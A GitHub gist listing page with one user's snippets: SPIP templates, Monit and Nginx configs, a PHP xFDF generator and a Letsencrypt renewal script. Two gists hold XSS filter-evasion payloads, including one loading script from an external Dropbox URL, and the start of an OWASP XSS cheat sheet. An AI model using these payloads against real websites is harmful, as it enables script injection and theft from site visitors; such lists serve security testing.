Skip to content

Instantly share code, notes, and snippets.

@tech-nova
tech-nova / mes_options_avec_jql.php
Last active August 29, 2015 14:26
Utilisation de jQl dans SPIP via mes_options
extrait de http://thread.gmane.org/gmane.comp.web.spip.zone/36819/focus=36825
-----------------------------------------------------------------------------
Tu peux avantageusement le mettre en place facilement dans
ton squelettes/mes_options.php avec le code suivant (et en mettant le fichier jQl.min.js dans le même
dossier) :
<?php
@tech-nova
tech-nova / hhvm.conf
Last active August 29, 2015 14:28 — forked from tomazzaman/hhvm.conf
Monit configurations for commonly used services
check process hhvm with pidfile /var/run/hhvm/pid
group hhvm
start program = "/usr/sbin/service hhvm start" with timeout 60 seconds
stop program = "/usr/sbin/service hhvm stop"
if failed unixsocket /var/run/hhvm/hhvm.sock then restart
if mem > 400.0 MB for 1 cycles then restart
if 5 restarts with 5 cycles then timeout
@tech-nova
tech-nova / www.wp-kickstart.com.conf
Last active August 29, 2015 14:28 — forked from tomazzaman/www.wp-kickstart.com.conf
wp-kickstart.com Nginx vhost config
server {
include /home/webmaster/www/www.wp-kickstart.com.conf;
server_name www.wp-kickstart.com;
listen 443 ssl spdy;
server_tokens off;
client_body_buffer_size 10K;
client_header_buffer_size 1k;
@tech-nova
tech-nova / actu-tumblr.html
Created September 12, 2015 10:50
Récupérer facilement les derniers posts de Tumblr avec la boucle DATA de SPIP
<BOUCLE_getPosts(DATA){source xml, http://#####.tumblr.com/api/read/?num=6}
{datapath posts}
{2,1}
><B_post>
<div class="masonry-container">
<BOUCLE_post(DATA){source table,#VALEUR}>
<div class='masonry mod modBlogPost'>
[(#VALEUR{type}|=={photo}|oui)
[<a href="#VALEUR{url-with-slug}">
<img src="(#VALEUR{0/photo-url/0}
@tech-nova
tech-nova / actu-tumblr-DATA-et-YQL.html
Last active September 12, 2015 14:53
Comment récupérer les derniers posts sur tumblr, avec la syndication, la boucle DATA et YQL. C'est moins rapide qu'en utilisant l'API (https://gist.github.com/tech-nova/08a54e50809b60b9a84a)
<BOUCLE_content(SITES){id_syndic=1}>
[(#REM) Articles issus de la syndication ]
<B_articles>
<div class="masonry-container">
<BOUCLE_articles(SYNDIC_ARTICLES) {id_syndic} {!par date} {0,6}>
<div class='masonry mod modBlogPost'>
#SET{url, #LISTE{"select * from html where url=",#URL_ARTICLE," and xpath='//meta[@property=\'og:image\']'"}|implode{'"'}}
#SET{lien,#URL_ARTICLE}
@tech-nova
tech-nova / xfdf.php
Created December 4, 2015 14:09 — forked from collegeman/xfdf.php
Generate xFDF in PHP
<?php
/*
KOIVI HTML Form to FDF Parser for PHP (C) 2004 Justin Koivisto
Version 1.1
Last Modified: 2010-02-17
This library is free software; you can redistribute it and/or modify it
under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or (at
your option) any later version.
@tech-nova
tech-nova / le-renew.sh
Created January 14, 2016 12:02
Script pour renouveler le certificat Letsencrypt lorsqu'il a moins de 30 jours de validité
#!/bin/bash
# Avec /etc/cron.d/check-letsencrypt pour renouveler le certificat Letsencrypt
# 30 1 * * 1 root /usr/local/sbin/le-renew-webroot >> /var/log/le-renewal.log
# Configuration de nginx : centminmod
web_service='nginx'
domain='epoxit.com'
config_file="/home/nginx/domains/$domain/private/letsencrypt/le-renew-webroot.ini"
1) <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
2) <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
3) <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
4) <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
5) <img/src=`%00` onerror=this.onerror=confirm(1)
6) <form><isindex formaction="javascript&colon;confirm(1)"
7) <img src=`%00`&NewLine; onerror=alert(1)&NewLine;
8) <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
9) <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
10) <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
@tech-nova
tech-nova / xss-owasp-cheatsheet
Created February 14, 2016 21:38 — forked from sseffa/xss-owasp-cheatsheet
xss-owasp-cheatsheet
#
# https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
# based on the RSnake original http://ha.ckers.org/xss.html
# Retrieved on 2013-11-20
# Much of this wildly obsolete
#
# XSS Locator 2
'';!--"<XSS>=&{()}
@tech-nova
tech-nova / statistiques sur les clics
Last active February 19, 2016 10:40
Des statistiques sur les 6 derniers mois
<?php
if (!defined("_ECRIRE_INC_VERSION")) return; // securiser
include_spip("base/clics");
function action_stats() {
include_spip("inc/filtres");
$lastmonth = mktime(0, 0, 0, date("m")-6, date("d"), date("Y"));
if (!_request('min') OR !_request('max')) {
$url1 = parametre_url(self(),'min',sinon(_request('min'),date('Y-m-d',$lastmonth)));